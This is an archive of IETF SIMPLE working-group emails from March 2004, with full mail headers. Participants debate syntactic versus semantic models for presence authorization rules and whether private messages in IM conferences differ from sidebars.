https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 00:30:35 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA03106
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 00:30:35 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2UG-0006RS-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 00:30:36 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay2TA-0006JD-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 00:29:29 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2Sl-0006B0-00; Tue, 02 Mar 2004 00:29:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2Sk-00073t-6W; Tue, 02 Mar 2004 00:29:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2Rv-00072f-WC
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 00:28:12 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA03014
	for <simple@ietf.org>; Tue, 2 Mar 2004 00:28:08 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2Rt-00068g-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:28:09 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay2Qw-00062H-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:27:11 -0500
Received: from mgw-x1.nokia.com ([131.228.20.21])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2Pz-0005uq-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:26:11 -0500
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x1.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i225Q9T03151;
	Tue, 2 Mar 2004 07:26:09 +0200 (EET)
X-Scanned: Tue, 2 Mar 2004 07:26:02 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i225Q22K019177;
	Tue, 2 Mar 2004 07:26:02 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks001.ntc.nokia.com 00aJlScj; Tue, 02 Mar 2004 07:26:00 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i225Px728075;
	Tue, 2 Mar 2004 07:25:59 +0200 (EET)
Received: from nokia.com ([10.162.252.246]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 2 Mar 2004 07:25:58 +0200
Message-ID: <40441AE4.9050002@nokia.com>
From: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Simple WG <simple@ietf.org>
Subject: Re: [Simple] Models for representing presence rules
References: <403D1CB9.9040600@dynamicsoft.com>
In-Reply-To: <403D1CB9.9040600@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 02 Mar 2004 05:25:58.0439 (UTC) FILETIME=[D7E1B370:01C40016]
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 07:25:56 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=1.1 required=5.0 tests=AWL,NEW_DOMAIN_EXTENSIONS 
	autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Hi Jonathan,

After the discussion in SIMPLE yesterday, I thought about this a bit more.

If the semantic model requires that the PA understands all of the 
presence information in order to be able to authorize it, this could 
really be a show-stopper for presence.

Presence information by definition needs to be extensible to support new 
innovative applications, and well-implemented UAs will probably have a 
presence API that allows other applications (perhaps downloadable as 
plug-ins) to publish their specific information.

The server side (the composer and PA) can't possibly keep up in this 
race, which will have a definite negative impact on innovation. This is 
analogous to requiring web servers to understand all of the content they 
offer.

I agree privacy issues come into play here, but I'd say privacy issues 
need to be considered on a per extension basis. For example, it isn't 
necessary for the PA to block delivery of unknown information, if that 
information contains no privacy-sensitive information in the first place.

So while the semantic model does sound appealing, it at least needs to 
be combined with some mechanism that allows for innovation in presence 
without requiring an update to the PA. Is it possible to have this kind 
of a hybrid model?

Cheers,
Aki

ext Jonathan Rosenberg wrote:
> I wanted to make the group aware of an important implicit decision that 
> has been made in the way presence authorization rules have been 
> structured in:
> 
> http://www.ietf.org/internet-drafts/draft-rosenberg-simple-rules-00.txt
> 
> The model used in this document is that the transformation rules are 
> syntactic in nature. That is, they define rules based on XML constructs, 
> such as adding and removing elements, adding and removing namespaces, 
> and so on. These kinds of rules have the benefit that they can be used 
> for new presence extensions that havent even been defined yet. For 
> example, if we defined a new extension that included contact information 
> within a namespace urn:ietf:params:xml:ns:pidf:cipid, a presentity could 
> define rules for giving out this information using the show-namespace 
> construct in rosenberg-simple-rules, even though the cipid extension did 
> not exist when simple-rules was defined.
> 
> The drawback is that the impact of a set of rules on a document could be 
> non-obvious and have the wrong effect. Hisham has already pointed out 
> some cases where, for example, if the same element appeared in several 
> places in a document, the show-element transformation might have 
> unintended consequences. It also complicates interactions between 
> transformations that can affect the same data - for example, 
> show-namespace and show-element can affect the same element in a 
> presence document, and thus there is an interaction between them.
> 
> A different approach is a more semantic approach, which is actually what 
> is done in the geopriv equivalent:
> 
> http://www.ietf.org/internet-drafts/draft-ietf-geopriv-policy-01.txt
> 
> For us, the analagous thing would be to define rules for each specific 
> part of the presence document. For example, for the note, we could 
> define three levels of privacy - to not send any notes, to send notes 
> for tuples only, notes for the whole document, or all:
> 
> <note>tuples-only</note>
> 
> We would also need to define elements for various rpid pieces. For example:
> 
> <placetype>home-only</placetype>
> <icon>black-and-white</icon>
> 
> would specify that the placetype element is included only if its value 
> is home, and the icon that is sent (defined in cipid) should be 
> converted to black and white first.
> 
> The semantic approach allows us to carefully construct our privacy 
> policies so that there is no feature interaction (as we have the 
> syntactic approach today); it would also allow us to specify 
> transformations that are non-trivially represented via XML constructs, 
> for example converting an image to black and white.
> 
> To be honest, I'm on the fence on this. I have gradually been coming 
> over to the "semantic" side of the argument, because it allows us to be 
> more concise. The cost is that new extensions to pidf would have to 
> define their own authorization policies as well.
> 
> This is a major decision point we need to make. Please comment.
> 
> Thanks,
> Jonathan R.

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 00:31:07 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA03151
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 00:31:07 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2UJ-0007Ov-Tl
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 00:30:40 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i225Ud1U028443
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 00:30:39 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2UJ-0007Og-QD
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 00:30:39 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA03124
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 00:30:36 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2UH-0006RZ-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 00:30:37 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay2TB-0006JK-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 00:29:30 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2Sl-0006B0-00; Tue, 02 Mar 2004 00:29:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2Sk-00073t-6W; Tue, 02 Mar 2004 00:29:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2Rv-00072f-WC
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 00:28:12 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA03014
	for <simple@ietf.org>; Tue, 2 Mar 2004 00:28:08 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2Rt-00068g-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:28:09 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay2Qw-00062H-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:27:11 -0500
Received: from mgw-x1.nokia.com ([131.228.20.21])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2Pz-0005uq-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:26:11 -0500
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x1.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i225Q9T03151;
	Tue, 2 Mar 2004 07:26:09 +0200 (EET)
X-Scanned: Tue, 2 Mar 2004 07:26:02 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i225Q22K019177;
	Tue, 2 Mar 2004 07:26:02 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks001.ntc.nokia.com 00aJlScj; Tue, 02 Mar 2004 07:26:00 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i225Px728075;
	Tue, 2 Mar 2004 07:25:59 +0200 (EET)
Received: from nokia.com ([10.162.252.246]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 2 Mar 2004 07:25:58 +0200
Message-ID: <40441AE4.9050002@nokia.com>
From: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Simple WG <simple@ietf.org>
Subject: Re: [Simple] Models for representing presence rules
References: <403D1CB9.9040600@dynamicsoft.com>
In-Reply-To: <403D1CB9.9040600@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 02 Mar 2004 05:25:58.0439 (UTC) FILETIME=[D7E1B370:01C40016]
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 07:25:56 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=1.1 required=5.0 tests=AWL,NEW_DOMAIN_EXTENSIONS 
	autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Hi Jonathan,

After the discussion in SIMPLE yesterday, I thought about this a bit more.

If the semantic model requires that the PA understands all of the 
presence information in order to be able to authorize it, this could 
really be a show-stopper for presence.

Presence information by definition needs to be extensible to support new 
innovative applications, and well-implemented UAs will probably have a 
presence API that allows other applications (perhaps downloadable as 
plug-ins) to publish their specific information.

The server side (the composer and PA) can't possibly keep up in this 
race, which will have a definite negative impact on innovation. This is 
analogous to requiring web servers to understand all of the content they 
offer.

I agree privacy issues come into play here, but I'd say privacy issues 
need to be considered on a per extension basis. For example, it isn't 
necessary for the PA to block delivery of unknown information, if that 
information contains no privacy-sensitive information in the first place.

So while the semantic model does sound appealing, it at least needs to 
be combined with some mechanism that allows for innovation in presence 
without requiring an update to the PA. Is it possible to have this kind 
of a hybrid model?

Cheers,
Aki

ext Jonathan Rosenberg wrote:
> I wanted to make the group aware of an important implicit decision that 
> has been made in the way presence authorization rules have been 
> structured in:
> 
> http://www.ietf.org/internet-drafts/draft-rosenberg-simple-rules-00.txt
> 
> The model used in this document is that the transformation rules are 
> syntactic in nature. That is, they define rules based on XML constructs, 
> such as adding and removing elements, adding and removing namespaces, 
> and so on. These kinds of rules have the benefit that they can be used 
> for new presence extensions that havent even been defined yet. For 
> example, if we defined a new extension that included contact information 
> within a namespace urn:ietf:params:xml:ns:pidf:cipid, a presentity could 
> define rules for giving out this information using the show-namespace 
> construct in rosenberg-simple-rules, even though the cipid extension did 
> not exist when simple-rules was defined.
> 
> The drawback is that the impact of a set of rules on a document could be 
> non-obvious and have the wrong effect. Hisham has already pointed out 
> some cases where, for example, if the same element appeared in several 
> places in a document, the show-element transformation might have 
> unintended consequences. It also complicates interactions between 
> transformations that can affect the same data - for example, 
> show-namespace and show-element can affect the same element in a 
> presence document, and thus there is an interaction between them.
> 
> A different approach is a more semantic approach, which is actually what 
> is done in the geopriv equivalent:
> 
> http://www.ietf.org/internet-drafts/draft-ietf-geopriv-policy-01.txt
> 
> For us, the analagous thing would be to define rules for each specific 
> part of the presence document. For example, for the note, we could 
> define three levels of privacy - to not send any notes, to send notes 
> for tuples only, notes for the whole document, or all:
> 
> <note>tuples-only</note>
> 
> We would also need to define elements for various rpid pieces. For example:
> 
> <placetype>home-only</placetype>
> <icon>black-and-white</icon>
> 
> would specify that the placetype element is included only if its value 
> is home, and the icon that is sent (defined in cipid) should be 
> converted to black and white first.
> 
> The semantic approach allows us to carefully construct our privacy 
> policies so that there is no feature interaction (as we have the 
> syntactic approach today); it would also allow us to specify 
> transformations that are non-trivially represented via XML constructs, 
> for example converting an image to black and white.
> 
> To be honest, I'm on the fence on this. I have gradually been coming 
> over to the "semantic" side of the argument, because it allows us to be 
> more concise. The cost is that new extensions to pidf would have to 
> define their own authorization policies as well.
> 
> This is a major decision point we need to make. Please comment.
> 
> Thanks,
> Jonathan R.

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 00:32:08 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA03258
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 00:32:08 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2Vk-0006gb-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 00:32:08 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay2Um-0006Wk-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 00:31:09 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2Tn-0006Lz-00; Tue, 02 Mar 2004 00:30:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2Tj-0007DP-0M; Tue, 02 Mar 2004 00:30:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2Sz-00079i-7z
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 00:29:17 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA03051
	for <simple@ietf.org>; Tue, 2 Mar 2004 00:29:14 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2Sw-0006GO-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:29:14 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay2Rz-00069p-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:28:16 -0500
Received: from mgw-x1.nokia.com ([131.228.20.21])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2RB-000643-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:27:25 -0500
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x1.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i225RJT04286;
	Tue, 2 Mar 2004 07:27:19 +0200 (EET)
X-Scanned: Tue, 2 Mar 2004 07:26:57 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i225Qv99022197;
	Tue, 2 Mar 2004 07:26:57 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks001.ntc.nokia.com 00jsQvg2; Tue, 02 Mar 2004 07:26:56 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i225Qs728520;
	Tue, 2 Mar 2004 07:26:54 +0200 (EET)
Received: from nokia.com ([10.162.252.246]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 2 Mar 2004 07:26:53 +0200
Message-ID: <40441B1B.6080109@nokia.com>
From: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: "ext Rosen, Brian" <Brian.Rosen@marconi.com>
CC: ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>, Markus.Isomaki@nokia.com,
        pkyzivat@cisco.com, hisham.khartabil@nokia.com,
        Miguel.An.Garcia@nokia.com, simple@ietf.org
Subject: Re: [Simple] Chat sessions
References: <313680C9A886D511A06000204840E1CF070B6484@whq-msgusr-02.pit.comms.marconi.com>
In-Reply-To: <313680C9A886D511A06000204840E1CF070B6484@whq-msgusr-02.pit.comms.marconi.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 02 Mar 2004 05:26:53.0861 (UTC) FILETIME=[F8EA6D50:01C40016]
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 07:26:51 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit


ext Rosen, Brian wrote:
> Probably, I just answered this.
> 
> A private message is a sidebar with exactly two participants.  A sidebar is
> a set of private messages with possibly more than two participants.  The way
> you render these could be the same, or different if you wish.  The only
> thing that matters is whether there is any functional difference.  I don't
> think that there is.

I think what you're referring to is a private sidebar. Being able to 
receive a private message sent inside a conference (or a sidebar) would 
require no additional action from the recipient, whereas setting up a 
private sidebar requires that the invitee also agrees to have the 
sidebar, joins it etc.

> Consider a push to talk one-on-one voice connection within a conference.
> That's pretty close to a private message.  If I implemented that, how would
> you want me to do it?  As a sidebar?  As a media policy manipulation?
> How about the "whisper" function in a call center.  Same thing.

Of course you can't do private messages with voice. Voice and IM are 
inherently different. You can't send private voice packets to another 
participant of a conference, simply because there isn't a way to single 
out a participant in a conference by directly addressing packets there. 
It also makes mixing really complicated, because a private voice stream 
might overlap with the rest of the conference. These don't present a 
problem for IM; the sender can single out the recipient using the cpim 
To header field and the recipient UA can simply mark a message as 
private and render it to the same UI as the rest of the IMs in that 
conference.

Just because voice as a media has this limitation, are we supposed to 
suppress features available in other medias? I don't think so.

Cheers,
Aki

> Brian
> 
> 
>>-----Original Message-----
>>From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
>>Sent: Monday, March 01, 2004 12:54 PM
>>To: ext Rosen, Brian
>>Cc: ext Jonathan Rosenberg; Markus.Isomaki@nokia.com;
>>pkyzivat@cisco.com; hisham.khartabil@nokia.com;
>>Miguel.An.Garcia@nokia.com; simple@ietf.org
>>Subject: Re: [Simple] Chat sessions
>>
>>
>>Brian,
>>
>>Please go back to my previous post where I make a comparison 
>>to similar
>>(if not identical) functionality in IRC. There, sidebars and private
>>messages are clearly separate functionality.
>>
>>If you can show that the analogy between IRC and IM conferences is
>>false, or describe how sidebars alone are enough to implement this 
>>functionality in IM conferences, I'm happy to back down on this
>>issue.
>>
>>Cheers,
>>Aki
>>
>>ext Rosen, Brian wrote:
>>
>>>Aki
>>>
>>>My post was meant to point out that we had decided to implement
>>>sidebars as separate dialogs from main conferences, which is similar
>>>to making "private messages" separate dialogs from a main IM dialog.
>>>In that way, I think that sidebars and private messages are 
>>
>>the same;
>>
>>>they are media sent to a subset of participants in the group.  If
>>>there is a reason to allow a special way to subset 
>>
>>destinations for a
>>
>>> private message rather than the entire chat group, then whatever 
>>>argument you make would apply to a sidebar.
>>>
>>>Brian
>>
>><snip />
>>
>>

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From simple-admin@ietf.org  Tue Mar  2 00:32:09 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA03279
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 00:32:09 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2Vm-0006gm-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 00:32:10 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay2Uo-0006Wz-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 00:31:11 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2Tn-0006M4-00; Tue, 02 Mar 2004 00:30:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2Tj-0007Da-Ly; Tue, 02 Mar 2004 00:30:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2T1-0007BF-Of
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 00:29:19 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA03061
	for <simple@ietf.org>; Tue, 2 Mar 2004 00:29:16 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2Sz-0006Gq-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:29:17 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay2S2-0006AE-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:28:19 -0500
Received: from rtp-iport-2.cisco.com ([64.102.122.149])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2RL-0005xf-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:27:35 -0500
Received: from rtp-core-2.cisco.com (64.102.124.13)
  by rtp-iport-2.cisco.com with ESMTP; 01 Mar 2004 21:26:53 -0800
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id i225R4xU004108;
	Tue, 2 Mar 2004 00:27:04 -0500 (EST)
Received: from cisco.com (tokyo-vpn-user16.cisco.com [10.70.82.16])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGL12484;
	Tue, 2 Mar 2004 00:27:01 -0500 (EST)
Message-ID: <40441B24.7090504@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Markus.Isomaki@nokia.com
CC: jdrosen@dynamicsoft.com, simple@ietf.org
Subject: Re: [Simple] Models for representing presence rules
References: <E392EEA75EC5F54AB75229B693B1B6A7054D5AFD@esebe018.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 00:27:00 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=1.0 required=5.0 tests=AWL,NEW_DOMAIN_EXTENSIONS 
	autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Technically I think you could let both approaches coexist. But the 
consequence is that you get the worst features of each approach.

The disadvantage of the syntactic approach is that some manipulations 
can have hard-to-anticipate consequences, especially when the same 
entity is used in multiple places. With this kind of manipulation in 
mind, creators of presence extensions will have to consider the 
implications and contort the schema to minimize these side effects.

An advantage of the semantic approach is that it minimizes the above. 
But this advantage isn't realized if the syntactic approach remains.

	Paul

Markus.Isomaki@nokia.com wrote:
> Hi,
> 
> Does this really have to be an either or choice? Wouldn't it be possible to keep the syntactic approach as a baseline, since only this way the system would be future-proof without the need to upgrade presence agent to understand the semantics of each possible presence document extension that will be defined. I think this is important property, since we want anyway to provide presence about applications that are proprietary by nature, and thus their presence info would be proprietary as well. In this case it would not be feasible to upgrade presence agents to understand the semantics of such proprietary extensions. Still it would be important to be able to provide permissions to such information in standardized way.
> 
> On the other hand I think it would be OK to define semantic rules for the standard presence extensions, such as RPID, CIPID, or prescaps. And in the future any new extension could define its own semantic rules.
> 
> Would there be something that breaks if we allow both of these models at the same time? If we have to select one I would have to chooce the syntactic approach as a trade-off.
> 
> Markus
> 
> 
>>-----Original Message-----
>>From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
>>ext Jonathan Rosenberg
>>Sent: 26 February, 2004 00:08
>>To: Simple WG
>>Subject: [Simple] Models for representing presence rules
>>
>>
